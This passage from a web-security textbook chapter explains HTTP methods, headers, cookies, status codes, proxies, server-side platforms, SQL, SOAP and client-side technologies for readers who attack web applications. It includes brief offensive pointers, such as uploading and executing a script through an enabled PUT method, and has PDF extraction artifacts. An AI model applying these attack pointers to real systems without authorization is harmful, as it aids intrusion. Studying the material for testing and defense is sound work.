designed to perform actions. With this method, request parameters can be sent both in the URL query string and in the body of the message. Although the URL can still be bookmarked, any parameters sent in the message body will be excluded from the bookmark. These parameters will also be excluded from the various locations in which logs of URLs are main- tained and from the Referer header. Because the POST method is designed for performing actions, if a user clicks the browser’s Back button to return to a page that was accessed using this method, the browser does not automatically reissue the request. Instead, it warns the user of what it is about to do, as shown in Figure 3-1. This prevents users from unwittingly performing an action more than once. For this reason, POST requests should always be used when an action is being performed. Figure 3-1: Browsers do not automatically reissue POST requests made by users, because these might cause an action to be performed more than once In addition to the GET and POST methods, the HTTP protocol supports numer- ous other methods that have been created for specifi c purposes. Here are the other ones you are most likely to require knowledge of: HEAD functions in the same way as a GET request, except that the server should not return a message body in its response. The server should return the same headers that it would have returned to the corresponding GET request. Hence, this method can be used to check whether a resource is present before making a GET request for it. TRACE is designed for diagnostic purposes. The server should return in the response body the exact contents of the request message it received. This can be used to detect the effect of any proxy servers between the client and server that may manipulate the request. OPTIONS asks the server to report the HTTP methods that are available for a particular resource. The server typically returns a response containing an Allow header that lists the available methods. PUT attempts to upload the specifi ed resource to the server, using the con- tent contained in the body of the request. If this method is enabled, you may be able to leverage it to attack the application, such as by uploading an arbitrary script and executing it on the server. c03.indd 43c03.indd 43 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 44 44 Chapter 3 Web Application Technologies Many other HTTP methods exist that are not directly relevant to attacking web applications. However, a web server may expose itself to attack if certain dangerous methods are available. See Chapter 18 for further details on these methods and examples of using them in an attack. URLs A uniform resource locator (URL) is a unique identifi er for a web resource through which that resource can be retrieved. The format of most URLs is as follows: protocol://hostname[:port]/[path/]file[?param=value] Several components in this scheme are optional. The port number usually is included only if it differs from the default used by the relevant protocol. The URL used to generate the HTTP request shown earlier is as follows: https://mdsec.net/auth/488/YourDetails.ashx?uid=129 In addition to this absolute form, URLs may be specifi ed relative to a particular host, or relative to a particular path on that host. For example: /auth/488/YourDetails.ashx?uid=129 YourDetails.ashx?uid=129 These relative forms are often used in web pages to describe navigation within the website or application itself. NOTE You may encounter the term URI (or uniform resource identifi er) being used instead of URL, but it is really only used in formal specifi cations and by those who want to exhibit their pedantry. REST Representational state transfer (REST) is a style of architecture for distributed systems in which requests and responses contain representations of the current state of the system’s resources. The core technologies employed in the World Wide Web, including the HTTP protocol and the format of URLs, conform to the REST architectural style. Although URLs containing parameters within the query string do themselves conform to REST constraints, the term “REST-style URL” is often used to signify a URL that contains its parameters within the URL fi le path, rather than the query string. For example, the following URL containing a query string: http://wahh-app.com/search?make=ford&model=pinto corresponds to the following URL containing “REST-style” parameters: http://wahh-app.com/search/ford/pinto c03.indd 44c03.indd 44 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 45 Chapter 3 Web Application Technologies 45 Chapter 4 describes how you need to consider these different parameter styles when mapping an application’s content and functionality and identifying its key attack surface. HTTP Headers HTTP supports a large number of headers, some of which are designed for specifi c unusual purposes. Some headers can be used for both requests and responses, and others are specifi c to one of these message types. The following sections describe the headers you are likely to encounter when attacking web applications. General Headers Connection tells the other end of the communication whether it should close the TCP connection after the HTTP transmission has completed or keep it open for further messages. Content-Encoding specifi es what kind of encoding is being used for the content contained in the message body, such as gzip, which is used by some applications to compress responses for faster transmission. Content-Length specifi es the length of the message body, in bytes (except in the case of responses to HEAD requests, when it indicates the length of the body in the response to the corresponding GET request). Content-Type specifi es the type of content contained in the message body, such as text/html for HTML documents. Transfer-Encoding specifi es any encoding that was performed on the message body to facilitate its transfer over HTTP. It is normally used to specify chunked encoding when this is employed. Request Headers Accept tells the server what kinds of content the client is willing to accept, such as image types, offi ce document formats, and so on. Accept-Encoding tells the server what kinds of content encoding the client is willing to accept. Authorization submits credentials to the server for one of the built-in HTTP authentication types. Cookie submits cookies to the server that the server previously issued. Host specifi es the hostname that appeared in the full URL being requested. c03.indd 45c03.indd 45 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 46 46 Chapter 3 Web Application Technologies If-Modified-Since specifi es when the browser last received the requested resource. If the resource has not changed since that time, the server may instruct the client to use its cached copy, using a response with status code 304. If-None-Match specifi es an entity tag, which is an identifi er denoting the contents of the message body. The browser submits the entity tag that the server issued with the requested resource when it was last received. The server can use the entity tag to determine whether the browser may use its cached copy of the resource. Origin is used in cross-domain Ajax requests to indicate the domain from which the request originated (see Chapter 13). Referer specifi es the URL from which the current request originated. User-Agent provides information about the browser or other client soft- ware that generated the request. Response Headers Access-Control-Allow-Origin indicates whether the resource can be retrieved via cross-domain Ajax requests (see Chapter 13). Cache-Control passes caching directives to the browser (for example, no-cache). ETag specifi es an entity tag. Clients can submit this identifi er in future requests for the same resource in the If-None-Match header to notify the server which version of the resource the browser currently holds in its cache. Expires tells the browser for how long the contents of the message body are valid. The browser may use the cached copy of this resource until this time. Location is used in redirection responses (those that have a status code starting with 3) to specify the target of the redirect. Pragma passes caching directives to the browser (for example, no-cache). Server provides information about the web server software being used. Set-Cookie issues cookies to the browser that it will submit back to the server in subsequent requests. WWW-Authenticate is used in responses that have a 401 status code to provide details on the type(s) of authentication that the server supports. X-Frame-Options indicates whether and how the current response may be loaded within a browser frame (see Chapter 13). c03.indd 46c03.indd 46 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 47 Chapter 3 Web Application Technologies 47 Cookies Cookies are a key part of the HTTP protocol that most web applications rely on. Frequently they can be used as a vehicle for exploiting vulnerabilities. The cookie mechanism enables the server to send items of data to the client, which the client stores and resubmits to the server. Unlike the other types of request parameters (those within the URL query string or the message body), cookies continue to be resubmitted in each subsequent request without any particular action required by the application or the user. A server issues a cookie using the Set-Cookie response header, as you have seen: Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc The user’s browser then automatically adds the following header to subsequent requests back to the same server: Cookie: tracking=tI8rk7joMx44S2Uu85nSWc Cookies normally consist of a name/value pair, as shown, but they may consist of any string that does not contain a space. Multiple cookies can be issued by using multiple Set-Cookie headers in the server’s response. These are submit- ted back to the server in the same Cookie header, with a semicolon separating different individual cookies. In addition to the cookie’s actual value, the Set-Cookie header can include any of the following optional attributes, which can be used to control how the browser handles the cookie: expires sets a date until which the cookie is valid. This causes the browser to save the cookie to persistent storage, and it is reused in subsequent browser sessions until the expiration date is reached. If this attribute is not set, the cookie is used only in the current browser session. domain specifi es the domain for which the cookie is valid. This must be the same or a parent of the domain from which the cookie is received. path specifi es the URL path for which the cookie is valid. secure — If this attribute is set, the cookie will be submitted only in HTTPS requests. HttpOnly — If this attribute is set, the cookie cannot be directly accessed via client-side JavaScript. Each of these cookie attributes can impact the application’s security. The primary impact is on the attacker’s ability to directly target other users of the application. See Chapters 12 and 13 for more details. c03.indd 47c03.indd 47 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 48 48 Chapter 3 Web Application Technologies Status Codes Each HTTP response message must contain a status code in its fi rst line, indi- cating the result of the request. The status codes fall into fi ve groups, according to the code’s fi rst digit: 1xx — Informational. 2xx — The request was successful. 3xx — The client is redirected to a different resource. 4xx — The request contains an error of some kind. 5xx — The server encountered an error fulfi lling the request. There are numerous specifi c status codes, many of which are used only in specialized circumstances. Here are the status codes you are most likely to encounter when attacking a web application, along with the usual reason phrase associated with them: 100 Continue is sent in some circumstances when a client submits a request containing a body. The response indicates that the request headers were received and that the client should continue sending the body. The server returns a second response when the request has been completed. 200 OK indicates that the request was successful and that the response body contains the result of the request. 201 Created is returned in response to a PUT request to indicate that the request was successful. 301 Moved Permanently redirects the browser permanently to a different URL, which is specifi ed in the Location header. The client should use the new URL in the future rather than the original. 302 Found redirects the browser temporarily to a different URL, which is specifi ed in the Location header. The client should revert to the original URL in subsequent requests. 304 Not Modified instructs the browser to use its cached copy of the requested resource. The server uses the If-Modified-Since and If-None- Match request headers to determine whether the client has the latest version of the resource. 400 Bad Request indicates that the client submitted an invalid HTTP request. You will probably encounter this when you have modifi ed a request in certain invalid ways, such as by placing a space character into the URL. 401 Unauthorized indicates that the server requires HTTP authentication before the request will be granted. The WWW-Authenticate header contains details on the type(s) of authentication supported. c03.indd 48c03.indd 48 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 49 Chapter 3 Web Application Technologies 49 403 Forbidden indicates that no one is allowed to access the requested resource, regardless of authentication. 404 Not Found indicates that the requested resource does not exist. 405 Method Not Allowed indicates that the method used in the request is not supported for the specifi ed URL. For example, you may receive this status code if you attempt to use the PUT method where it is not supported. 413 Request Entity Too Large — If you are probing for buffer overfl ow vulnerabilities in native code, and therefore are submitting long strings of data, this indicates that the body of your request is too large for the server to handle. 414 Request URI Too Long is similar to the 413 response. It indicates that the URL used in the request is too large for the server to handle. 500 Internal Server Error indicates that the server encountered an error fulfi lling the request. This normally occurs when you have submit- ted unexpected input that caused an unhandled error somewhere within the application’s processing. You should closely review the full contents of the server’s response for any details indicating the nature of the error. 503 Service Unavailable normally indicates that, although the web server itself is functioning and can respond to requests, the application accessed via the server is not responding. You should verify whether this is the result of any action you have performed. HTTPS The HTTP protocol uses plain TCP as its transport mechanism, which is unen- crypted and therefore can be intercepted by an attacker who is suitably posi- tioned on the network. HTTPS is essentially the same application-layer protocol as HTTP but is tunneled over the secure transport mechanism, Secure Sockets Layer (SSL). This protects the privacy and integrity of data passing over the network, reducing the possibilities for noninvasive interception attacks. HTTP requests and responses function in exactly the same way regardless of whether SSL is used for transport. NOTE SSL has strictly been superseded by transport layer security (TLS), but the latter usually still is referred to using the older name. HTTP Proxies An HTTP proxy is a server that mediates access between the client browser and the destination web server. When a browser has been confi gured to use a proxy c03.indd 49c03.indd 49 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 50 50 Chapter 3 Web Application Technologies server, it makes all its requests to that server. The proxy relays the requests to the relevant web servers and forwards their responses back to the browser. Most proxies also provide additional services, including caching, authentica- tion, and access control. You should be aware of two differences in how HTTP works when a proxy server is being used: When a browser issues an unencrypted HTTP request to a proxy server, it places the full URL into the request, including the protocol prefi x http://, the server’s hostname, and the port number if this is nonstandard. The proxy server extracts the hostname and port and uses these to direct the request to the correct destination web server. When HTTPS is being used, the browser cannot perform the SSL hand- shake with the proxy server, because this would break the secure tunnel and leave the communications vulnerable to interception attacks. Hence, the browser must use the proxy as a pure TCP-level relay, which passes all network data in both directions between the browser and the destina- tion web server, with which the browser performs an SSL handshake as normal. To establish this relay, the browser makes an HTTP request to the proxy server using the CONNECT method and specifying the destination hostname and port number as the URL. If the proxy allows the request, it returns an HTTP response with a 200 status, keeps the TCP connection open, and from that point onward acts as a pure TCP-level relay to the destination web server. By some measure, the most useful item in your toolkit when attacking web applications is a specialized kind of proxy server that sits between your browser and the target website and allows you to intercept and modify all requests and responses, even those using HTTPS. We will begin examining how you can use this kind of tool in the next chapter. HTTP Authentication The HTTP protocol includes its own mechanisms for authenticating users using various authentication schemes, including the following: Basic is a simple authentication mechanism that sends user credentials as a Base64-encoded string in a request header with each message. NTLM is a challenge-response mechanism and uses a version of the Windows NTLM protocol. Digest is a challenge-response mechanism and uses MD5 checksums of a nonce with the user’s credentials. c03.indd 50c03.indd 50 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 51 Chapter 3 Web Application Technologies 51 It is relatively rare to encounter these authentication protocols being used by web applications deployed on the Internet. They are more commonly used within organizations to access intranet-based services. COMMON MYTH “Basic authentication is insecure.” Because basic authentication places credentials in unencrypted form within the HTTP request, it is frequently stated that the protocol is insecure and should not be used. But forms-based authentication, as used by numerous banks, also places credentials in unencrypted form within the HTTP request. Any HTTP message can be protected from eavesdropping attacks by using HTTPS as a transport mechanism, which should be done by every security-conscious application. In relation to eavesdropping, at least, basic authentication in itself is no worse than the methods used by the majority of today’s web applications. Web Functionality In addition to the core communications protocol used to send messages between client and server, web applications employ numerous technologies to deliver their functionality. Any reasonably functional application may employ dozens of distinct technologies within its server and client components. Before you can mount a serious attack against a web application, you need a basic understand- ing of how its functionality is implemented, how the technologies used are designed to behave, and where their weak points are likely to lie. Server-Side Functionality The early World Wide Web contained entirely static content. Websites con- sisted of various resources such as HTML pages and images, which were simply loaded onto a web server and delivered to any user who requested them. Each time a particular resource was requested, the server responded with the same content. Today’s web applications still typically employ a fair number of static resources. However, a large amount of the content that they present to users is generated dynamically. When a user requests a dynamic resource, the server’s response is created on the fl y, and each user may receive content that is uniquely custom- ized for him or her. Dynamic content is generated by scripts or other code executing on the server. These scripts are akin to computer programs in their own right. They have vari- ous inputs, perform processing on these, and return their outputs to the user. c03.indd 51c03.indd 51 8/19/2011 12:03:44 PM8/19/2011 12:03:44 PMStuttard c03.indd V3 - 07/22/2011 Page 52 52 Chapter 3 Web Application Technologies When a user’s browser requests a dynamic resource, normally it does not simply ask for a copy of that resource. In general, it also submits various parameters along with its request. It is these parameters that enable the server- side application to generate content that is tailored to the individual user. HTTP requests can be used to send parameters to the application in three main ways: In the URL query string In the fi le path of REST-style URLs In HTTP cookies In the body of requests using the POST method In addition to these primary sources of input, the server-side application may in principle use any part of the HTTP request as an input to its processing. For example, an application may process the User-Agent header to generate content that is optimized for the type of browser being used. Like computer software in general, web applications employ a wide range of technologies on the server side to deliver their functionality: Scripting languages such as PHP, VBScript, and Perl Web application platforms such as ASP.NET and Java Web servers such as Apache, IIS, and Netscape Enterprise Databases such as MS-SQL, Oracle, and MySQL Other back-end components such as fi lesystems, SOAP-based web services, and directory services All these technologies and the types of vulnerabilities that can arise in rela- tion to them are examined in detail throughout this book. Some of the most common web application platforms and technologies you are likely to encounter are described in the following sections. COMMON MYTH “Our applications need only cursory security review, because they employ a well-used framework.” Use of a well-used framework is often a cause for complacency in web application development, on the assumption that common vulnerabilities such as SQL injection are automatically avoided. This assumption is mistaken for two reasons. First, a large number of web application vulnerabilities arise in an applica- tion’s design, not its implementation, and are independent of the development framework or language chosen. c03.indd 52c03.indd 52 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 53 Chapter 3 Web Application Technologies 53 Second, because a framework typically employs plug-ins and packages from the cutting edge of the latest repositories, it is likely that these packages have not undergone security review. Interestingly, if a vulnerability is later found in the application, the same proponents of the myth will readily swap sides and blame their framework or third-party package! The Java Platform For many years, the Java Platform, Enterprise Edition (formerly known as J2EE) was a de facto standard for large-scale enterprise applications. Originally devel- oped by Sun Microsystems and now owned by Oracle, it lends itself to multitiered and load-balanced architectures and is well suited to modular development and code reuse. Because of its long history and widespread adoption, many high- quality development tools, application servers, and frameworks are available to assist developers. The Java Platform can be run on several underlying operating systems, including Windows, Linux, and Solaris. Descriptions of Java-based web applications often employ a number of poten- tially confusing terms that you may need to be aware of: An Enterprise Java Bean (EJB) is a relatively heavyweight software com- ponent that encapsulates the logic of a specifi c business function within the application. EJBs are intended to take care of various technical challenges that application developers must address, such as transactional integrity. A Plain Old Java Object (POJO) is an ordinary Java object, as distinct from a special object such as an EJB. A POJO normally is used to denote objects that are user-defi ned and are much simpler and more lightweight than EJBs and those used in other frameworks. A Java Servlet is an object that resides on an application server and receives HTTP requests from clients and returns HTTP responses. Servlet imple- mentations can use numerous interfaces to facilitate the development of useful applications. A Java web container is a platform or engine that provides a runtime environment for Java-based web applications. Examples of Java web con- tainers are Apache Tomcat, BEA WebLogic, and JBoss. Many Java web applications employ third-party and open source components alongside custom-built code. This is an attractive option because it reduces development effort, and Java is well suited to this modular approach. Here are some examples of components commonly used for key application functions: Authentication — JAAS, ACEGI Presentation layer — SiteMesh, Tapestry c03.indd 53c03.indd 53 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 54 54 Chapter 3 Web Application Technologies Database object relational mapping — Hibernate Logging — Log4J If you can determine which open source packages are used in the application you are attacking, you can download these and perform a code review or install them to experiment on. A vulnerability in any of these may be exploitable to compromise the wider application. ASP.NET ASP.NET is Microsoft’s web application framework and is a direct competitor to the Java Platform. ASP.NET is several years younger than its counterpart but has made signifi cant inroads into Java’s territory. ASP.NET uses Microsoft’s .NET Framework, which provides a virtual machine (the Common Language Runtime) and a set of powerful APIs. Hence, ASP.NET applications can be written in any .NET language, such as C# or VB.NET. ASP.NET lends itself to the event-driven programming paradigm that is normally used in conventional desktop software, rather than the script-based approach used in most earlier web application frameworks. This, together with the powerful development tools provided with Visual Studio, makes devel- oping a functional web application extremely easy for anyone with minimal programming skills. The ASP.NET framework helps protect against some common web application vulnerabilities such as cross-site scripting, without requiring any effort from the developer. However, one practical downside of its apparent simplicity is that many small-scale ASP.NET applications are actually created by beginners who lack any awareness of the core security problems faced by web applications. PHP The PHP language emerged from a hobby project (the acronym originally stood for “personal home page”). It has since evolved almost unrecognizably into a highly powerful and rich framework for developing web applications. It is often used in conjunction with other free technologies in what is known as the LAMP stack (composed of Linux as the operating system, Apache as the web server, MySQL as the database server, and PHP as the programming language for the web application). Numerous open source applications and components have been developed using PHP. Many of these provide off-the-shelf solutions for common application functions, which are often incorporated into wider custom-built applications: Bulletin boards — PHPBB, PHP-Nuke Administrative front ends — PHPMyAdmin c03.indd 54c03.indd 54 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 55 Chapter 3 Web Application Technologies 55 Web mail — SquirrelMail, IlohaMail Photo galleries — Gallery Shopping carts — osCommerce, ECW-Shop Wikis — MediaWiki, WakkaWikki Because PHP is free and easy to use, it has often been the language of choice for many beginners writing web applications. Furthermore, the design and default confi guration of the PHP framework has historically made it easy for programmers to unwittingly introduce security bugs into their code. These factors have meant that applications written in PHP have suffered from a dis- proportionate number of security vulnerabilities. In addition, several defects have existed within the PHP platform itself that often could be exploited via applications running on it. See Chapter 19 for details on common defects aris- ing in PHP applications. Ruby on Rails Rails 1.0 was released in 2005, with strong emphasis on Model-View-Controller architecture. A key strength of Rails is the breakneck speed with which fully fl edged data-driven applications can be created. If a developer follows the Rails coding style and naming conventions, Rails can autogenerate a model for database content, controller actions for modifying it, and default views for the application user. As with any highly functional new technology, several vulnerabilities have been found in Ruby on Rails, including the ability to bypass a “safe mode,” analogous to that found in PHP. More details on recent vulnerabilities can be found here: www.ruby-lang.org/en/security/ SQL Structured Query Language (SQL) is used to access data in relational databases, such as Oracle, MS-SQL server and MySQL. The vast majority of today’s web applications employ SQL-based databases as their back-end data store, and nearly all application functions involve interaction with these data stores in some way. Relational databases store data in tables, each of which contains a number of rows and columns. Each column represents a data fi eld, such as “name” or “e-mail address,” and each row represents an item with values assigned to some or all of these fi elds. SQL uses queries to perform common tasks such as reading, adding, updat- ing, and deleting data. For example, to retrieve a user’s e-mail address with a specifi ed name, an application might perform the following query: select email from users where name = ‘daf’ c03.indd 55c03.indd 55 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 56 56 Chapter 3 Web Application Technologies To implement the functionality they need, web applications may incorporate user-supplied input into SQL queries that are executed by the back-end data- base. If this process is not carried out safely, attackers may be able to submit malicious input to interfere with the database and potentially read and write sensitive data. These attacks are described in Chapter 9, along with detailed explanations of the SQL language and how it can be used. XML Extensible Markup Language (XML) is a specifi cation for encoding data in a machine-readable form. Like any markup language, the XML format sepa- rates a document into content (which is data) and markup (which annotates the data). Markup is primarily represented using tags, which may be start tags, end tags, or empty-element tags: Start and end tags are paired into elements and may encapsulate document content or child elements: ginger spotpaws Tags may include attributes, which are name/value pairs: ... XML is extensible in that it allows arbitrary tag and attribute names. XML documents often include a Document Type Defi nition (DTD), which defi nes the tags and attributes used in the documents and the ways in which they can be combined. XML and technologies derived from it are used extensively in web applica- tions, on both the server and client side, as described in later sections of this chapter. Web Services Although this book covers web application hacking, many of the vulnerabilities described are equally applicable to web services. In fact, many applications are essentially a GUI front-end to a set of back-end web services. c03.indd 56c03.indd 56 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 57 Chapter 3 Web Application Technologies 57 Web services use Simple Object Access Protocol (SOAP) to exchange data. SOAP typically uses the HTTP protocol to transmit messages and represents data using the XML format. A typical SOAP request is as follows: POST /doTransfer.asp HTTP/1.0 Host: mdsec-mgr.int.mdsec.net Content-Type: application/soap+xml; charset=utf-8 Content-Length: 891 18281008 1430 False 08447656 In the context of web applications accessed using a browser, you are most likely to encounter SOAP being used by the server-side application to com- municate with various back-end systems. If user-supplied data is incorporated directly into back-end SOAP messages, similar vulnerabilities can arise as for SQL. These issues are described in detail in Chapter 10. If a web application also exposes web services directly, these are also worthy of examination. Even if the front-end application is simply written on top of the web service, differences may exist in input handling and in the functionality exposed by the services themselves. The server normally publishes the available services and parameters using the Web Services Description Language (WSDL) format. Tools such as soapUI can be used to create sample requests based on a published WSDL fi le to call the authentication web service, gain an authentica- tion token, and make any subsequent web service requests. Client-Side Functionality For the server-side application to receive user input and actions and present the results to the user, it needs to provide a client-side user interface. Because all web applications are accessed via a web browser, these interfaces all share a c03.indd 57c03.indd 57 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 58 58 Chapter 3 Web Application Technologies common core of technologies. However, these have been built upon in various, diverse ways, and the ways in which applications leverage client-side technol- ogy has continued to evolve rapidly in recent years. HTML The core technology used to build web interfaces is hypertext markup language (HTML). Like XML, HTML is a tag-based language that is used to describe the structure of documents that are rendered within the browser. From its simple beginnings as a means of providing basic formatting for text documents, HTML has developed into a rich and powerful language that can be used to create highly complex and functional user interfaces. XHTML is a development of HTML that is based on XML and that has a stricter specifi cation than older versions of HTML. Part of the motivation for XHTML was the need to move toward a more rigid standard for HTML markup to avoid the various compromises and security issues that can arise when browsers are obligated to tolerate less-strict forms of HTML. More details about HTML and related technologies appear in the following sections. Hyperlinks A large amount of communication from client to server is driven by the user’s clicking on hyperlinks. In web applications, hyperlinks frequently contain preset request parameters. These are items of data that the user never enters; they are submitted because the server places them into the target URL of the hyperlink that the user clicks. For example, a web application might present a series of links to news stories, each having the following form: What’s happening? When a user clicks this link, the browser makes the following request: GET /news/8/?redir=/updates/update29.html HTTP/1.1 Host: mdsec.net ... The server receives the redir parameter in the query string and uses its value to determine what content should be presented to the user. Forms Although hyperlink-based navigation is responsible for a large amount of client- to-server communications, most web applications need more fl exible ways to gather input and receive actions from users. HTML forms are the usual c03.indd 58c03.indd 58 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 59 Chapter 3 Web Application Technologies 59 mechanism for allowing users to enter arbitrary input via their browser. A typical form is as follows:
username:
password:
When the user enters values into the form and clicks the Submit button, the browser makes a request like the following: POST /secure/login.php?app=quotations HTTP/1.1 Host: wahh-app.com Content-Type: application/x-www-form-urlencoded Content-Length: 39 Cookie: SESS=GTnrpx2ss2tSWSnhXJGyG0LJ47MXRsjcFM6Bd username=daf&password=foo&redir=/secure/home.php&submit=log+in In this request, several points of interest refl ect how different aspects of the request are used to control server-side processing: Because the HTML form tag contains an attribute specifying the POST method, the browser uses this method to submit the form and places the data from the form into the body of the request message. In addition to the two items of data that the user enters, the form contains a hidden parameter (redir) and a submit parameter (submit). Both of these are submitted in the request and may be used by the server-side application to control its logic. The target URL for the form submission contains a preset parameter (app), as in the hyperlink example shown previously. This parameter may be used to control the server-side processing. The request contains a cookie parameter (SESS), which was issued to the browser in an earlier response from the server. This parameter may be used to control the server-side processing. The preceding request contains a header specifying that the type of content in the message body is x-www-form-urlencoded. This means that parameters are represented in the message body as name/value pairs in the same way as they are in the URL query string. The other content type you are likely to encoun- ter when form data is submitted is multipart/form-data. An application can request that browsers use multipart encoding by specifying this in an enctype attribute in the form tag. With this form of encoding, the Content-Type header in the request also specifi es a random string that is used as a separator for the c03.indd 59c03.indd 59 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 60 60 Chapter 3 Web Application Technologies parameters contained in the request body. For example, if the form specifi ed multipart encoding, the resulting request would look like the following: POST /secure/login.php?app=quotations HTTP/1.1 Host: wahh-app.com Content-Type: multipart/form-data; boundary=------------7d71385d0a1a Content-Length: 369 Cookie: SESS=GTnrpx2ss2tSWSnhXJGyG0LJ47MXRsjcFM6Bd ------------7d71385d0a1a Content-Disposition: form-data; name=”username” daf ------------7d71385d0a1a Content-Disposition: form-data; name=”password” foo ------------7d71385d0a1a Content-Disposition: form-data; name=”redir” /secure/home.php ------------7d71385d0a1a Content-Disposition: form-data; name=”submit” log in ------------7d71385d0a1a-- CSS Cascading Style Sheets (CSS) is a language used to describe the presentation of a document written in a markup language. Within web applications, it is used to specify how HTML content should be rendered on-screen (and in other media, such as the printed page). Modern web standards aim to separate as much as possible the content of a document from its presentation. This separation has numerous benefi ts, includ- ing simpler and smaller HTML pages, easier updating of formatting across a website, and improved accessibility. CSS is based on formatting rules that can be defi ned with different levels of specifi city. Where multiple rules match an individual document element, different attributes defi ned in those rules can “cascade” through these rules so that the appropriate combination of style attributes is applied to the element. CSS syntax uses selectors to defi ne a class of markup elements to which a given set of attributes should be applied. For example, the following CSS rule defi nes the foreground color for headings that are marked up using

tags: h2 { color: red; } c03.indd 60c03.indd 60 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 61 Chapter 3 Web Application Technologies 61 In the earliest days of web application security, CSS was largely overlooked and was considered to have no security implications. Today, CSS is increasingly relevant both as a source of security vulnerabilities in its own right and as a means of delivering effective exploits for other categories of vulnerabilities (see Chapters 12 and 13 for more information). JavaScript Hyperlinks and forms can be used to create a rich user interface that can easily gather most kinds of input that web applications require. However, most appli- cations employ a more distributed model, in which the client side is used not simply to submit user data and actions but also to perform actual processing of data. This is done for two primary reasons: It can improve the application’s performance, because certain tasks can be carried out entirely on the client component, without needing to make a round trip of request and response to the server. It can enhance usability, because parts of the user interface can be dynami- cally updated in response to user actions, without needing to load an entirely new HTML page delivered by the server. JavaScript is a relatively simple but powerful programming language that can be easily used to extend web interfaces in ways that are not possible using HTML alone. It is commonly used to perform the following tasks: Validating user-entered data before it is submitted to the server to avoid unnecessary requests if the data contains errors Dynamically modifying the user interface in response to user actions — for example, to implement drop-down menus and other controls familiar from non-web interfaces Querying and updating the document object model (DOM) within the browser to control the browser’s behavior (the browser DOM is described in a moment) VBScript VBScript is an alternative to JavaScript that is supported only in the Internet Explorer browser. It is modeled on Visual Basic and allows interaction with the browser DOM. But in general it is somewhat less powerful and developed than JavaScript. Due to its browser-specifi c nature, VBScript is scarcely used in today’s web applications. Its main interest from a security perspective is as a means of delivering exploits for vulnerabilities such as cross-site scripting in occasional situations where an exploit using JavaScript is not feasible (see Chapter 12). c03.indd 61c03.indd 61 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 62 62 Chapter 3 Web Application Technologies Document Object Model The Document Object Model (DOM) is an abstract representation of an HTML document that can be queried and manipulated through its API. The DOM allows client-side scripts to access individual HTML elements by their id and to traverse the structure of elements programmatically. Data such as the current URL and cookies can also be read and updated. The DOM also includes an event model, allowing code to hook events such as form submission, navigation via links, and keystrokes. Manipulation of the browser DOM is a key technique used in Ajax-based applications, as described in the following section. Ajax Ajax is a collection of programming techniques used on the client side to create user interfaces that aim to mimic the smooth interaction and dynamic behavior of traditional desktop applications. The name originally was an acronym for “Asynchronous JavaScript and XML,” although in today’s web Ajax requests need not be asynchronous and need not employ XML. The earliest web applications were based on complete pages. Each user action, such as clicking a link or submitting a form, initiated a window-level navigation event, causing a new page to be loaded from the server. This approach resulted in a disjointed user experience, with noticeable delays while large responses were received from the server and the whole page was rerendered. With Ajax, some user actions are handled within client-side script code and do not cause a full reload of the page. Instead, the script performs a request “in the background” and typically receives a much smaller response that is used to dynamically update only part of the user interface. For example, in an Ajax-based shopping application, clicking an Add to Cart button may cause a background request that updates the server-side record of the user’s shopping cart and a lightweight response that updates the number of cart items showing on the user’s screen. Virtually the entire existing page remains unmodifi ed within the browser, providing a much faster and more satisfying experience for the user. The core technology used in Ajax is XMLHttpRequest. After a certain consolida- tion of standards, this is now a native JavaScript object that client-side scripts can use to make “background” requests without requiring a window-level naviga- tion event. Despite its name, XMLHttpRequest allows arbitrary content to be sent in requests and received in responses. Although many Ajax applications do use XML to format message data, an increasing number have opted to exchange data using other methods of representation. (See the next section for one example.) Note that although most Ajax applications do use asynchronous communica- tions with the server, this is not essential. In some situations, it may actually make c03.indd 62c03.indd 62 8/19/2011 12:03:45 PM8/19/2011 12:03:45 PMStuttard c03.indd V3 - 07/22/2011 Page 63 Chapter 3 Web Application Technologies 63 more sense to prevent user interaction with the application while a particular action is carried out. In these situations, Ajax is still benefi cial in providing a more seamless experience by avoiding the need to reload an entire page. Historically, the use of Ajax has introduced some new types of vulnerabili- ties into web applications. More broadly, it also increases the attack surface of a typical application by introducing more potential targets for attack on both the server and client side. Ajax techniques are also available for use by attack- ers when they are devising more effective exploits for other vulnerabilities. See Chapters 12 and 13 for more details. JSON JavaScript Object Notation (JSON) is a simple data transfer format that can be used to serialize arbitrary data. It can be processed directly by JavaScript interpreters. It is commonly employed in Ajax applications as an alternative to the XML format originally used for data transmission. In a typical situation, when a user performs an action, client-side JavaScript uses XMLHttpRequest to communicate the action to the server. The server returns a lightweight response containing data in JSON format. The client-side script then processes this data and updates the user interface accordingly. For example, an Ajax-based web mail application may contain a feature to show the details of a selected contact. When a user clicks a contact, the browser uses XMLHttpRequest to retrieve the details of the selected contact, which are returned using JSON: { “name”: “Mike Kemp”, 